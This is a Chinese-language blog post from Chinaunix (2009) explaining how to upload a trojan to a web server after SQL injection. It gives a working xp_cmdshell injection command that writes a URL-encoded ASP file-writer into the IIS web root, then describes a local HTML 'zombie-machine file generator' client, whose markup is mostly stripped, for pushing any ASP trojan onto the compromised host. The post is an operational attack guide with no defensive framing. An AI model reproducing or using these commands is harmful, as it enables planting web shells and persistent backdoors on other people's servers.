Chinaunix首页 | 论坛 | 博客
  • 博客访问: 788625
  • 博文数量: 142
  • 博客积分: 10288
  • 博客等级: 上将
  • 技术积分: 2905
  • 用 户 组: 普通用户
  • 注册时间: 2006-12-03 13:19
文章分类

全部博文(142)

文章存档

2019年(2)

2009年(51)

2008年(89)

分类: 数据库开发技术

2009-04-02 13:27:07

SQL注入后,如何上传木马,一直是比较头疼的事,我这里提供上传木马的一种另一种方法。
1、SQL注入的时候,用xp_cmdshell 向服务器上写入一个能写文件的asp文件。
文件内容:
<%
Set objFSO = Server.CreateObject
("scripting.FileSystemObject")

Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)

objCountFile.Write request("mydata")
objCountFile.Close
%>
这个文件可以写成一行
<%Set objFSO = Server.CreateObject
("scripting.FileSystemObject"):
Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True):objCountFile.Write request("mydata"):
objCountFile.Close%>

将特殊字符进行编码 就可以得到
%3C%25Set%20objFSO%20=%20Server.CreateObject
(%22scripting.FileSystemObject%22):
Set%20objCountFile=objFSO.CreateTextFile(request(%22mypath%22),True):
objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E

注入(这里假定web目录是C:\Inetpub\wwwroot\):
exec master..xp_cmdshell 'echo
"%3C%25Set%20objFSO%20=%20Server.CreateObject
(%22scripting.FileSystemObject%22):
Set%20objCountFile=objFSO.CreateTextFile
(request(%22mypath%22),True):
objCountFile.Write%20request(%22mydata%22):
objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp';

这样 在服务器的web 目录下 将生成一个 ftp.asp文件
该文件的代码为
<%
Set objFSO = Server.CreateObject
("scripting.FileSystemObject")
Set objCountFile=objFSO.CreateTextFile
(request("mypath"),True)
objCountFile.Write request
("mydata")
objCountFile.Close
%>
你可以看到,上面代码中预留了两个接口 mypath 和 mydata

mypath是下次提交的时候 文件的生成路径
mydata是文件的内容

在本地编写一个客户端文件 例:RohuClient.htm 代码如下





肉鸡文件生成器--客户端 制作:绝对零度 QQ:12216796




action="" onSubmit="return chk(this)" target="_blank">

cellpadding="0" cellspacing="0">















目标位置:type="text" id="ftpUrl" size="50">
例:
生成文件:
将在服务器上,生成的文件路径。例:
C:\Inetpub\wwwroot\Server.asp
文件代码:








版权所有:
XXXX(


在目标位置栏填上刚刚生成的ftp.asp文件的url地址
如 (这里假设服务器的ip是 127.0.0.1)
在生成文件栏 输入将在服务器上生成的文件名 比如:C:\Inetpub\wwwroot\Server.asp
在文件内容里 ,随意的粘贴一个asp代码
点递交,当 文件执行完毕 基本上服务器上的asp木马就生成了。

阅读(698) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~